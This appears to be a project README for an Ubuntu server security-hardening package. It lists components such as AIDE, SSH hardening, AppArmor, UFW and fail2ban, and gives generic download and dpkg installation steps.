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🔒 ubuntu-server-security - Strengthen Your Ubuntu with Ease

📖 Overview

Welcome to the ubuntu-server-security project. This application provides 14 essential security components designed to harden your Ubuntu system based on the CIS Benchmark (100% compliance). Whether you’re a personal user or managing a server, our tools help ensure your environment remains secure.

🚀 Getting Started

Before you proceed, ensure you have an Ubuntu system in place. Our security suite is specially tailored for different components including boot settings, AIDE, SSH configurations, and more.

🔗 Download & Install

To download the latest version of ubuntu-server-security, please visit the following link:

Visit this page to download

📂 Step-by-Step Guide

1. Click on the link above.
2. On the Releases page, find the latest version listed at the top.
3. Select the appropriate file for your Ubuntu version.
4. Click on the file to start the download.

🔍 Features

• Boot Security: Ensure secure boot settings tailored for Ubuntu.
• AIDE (Advanced Intrusion Detection Environment): Monitor file integrity on your system.
• SSH (Secure Shell) Hardening: Protect your remote access with recommended configurations.
• Kernel Hardening: Improve the security posture of the Linux kernel.
• rkhunter: Scan and identify rootkits on your system.
• auditd: Log and monitor security events.
• AppArmor: Implement application security layers.
• Vaultwarden: Securely manage your passwords.
• UFW (Uncomplicated Firewall): Control network traffic and secure your server.
• nftables: Advanced firewall management.
• fail2ban: Protect against brute-force attacks.
• Lynis: Perform security audits on the system.
• Prometheus Monitoring: Integrated for system performance tracking.

📈 System Requirements

Before running the application, ensure that your system meets the following requirements:

• Operating System: Ubuntu 18.04 or later.
• Disk Space: At least 500 MB of free space.
• CPU: Dual-core processor or higher.
• RAM: Minimum of 2 GB for optimal performance.

🔒 Configuration

The ubuntu-server-security application includes modular drop-in configurations. This ensures that you can customize security settings to fit your needs. Refer to the documentation once installed for detailed instructions on how to configure each component.

🛠️ Usage

After downloading, follow these steps to run the application:

1. Navigate to your Downloads folder or where the file was saved.
2. Open the terminal.
3. Run the command to install the package. For example:

   sudo dpkg -i ubuntu-server-security_<version>.deb
   

4. Follow on-screen instructions to complete the installation.
5. Once installed, you can access the security tools using the command line.

📝 Documentation

For comprehensive documentation and detailed instructions on each security component, visit our Wiki.

🤝 Contributing

We welcome contributions to improve this project. If you would like to contribute, please check our guidelines in the Contributing document.

🛡️ Support

If you encounter any issues or need assistance, please open an issue in the repository. We aim to respond promptly and help ensure a smooth experience with ubuntu-server-security.

🌐 Connect with Us

Stay updated with our latest developments and community discussions by following our official channels:

• GitHub Repository
• Mailing List
• Community Forum

Thank you for choosing ubuntu-server-security. We hope this application helps enhance the security of your Ubuntu systems.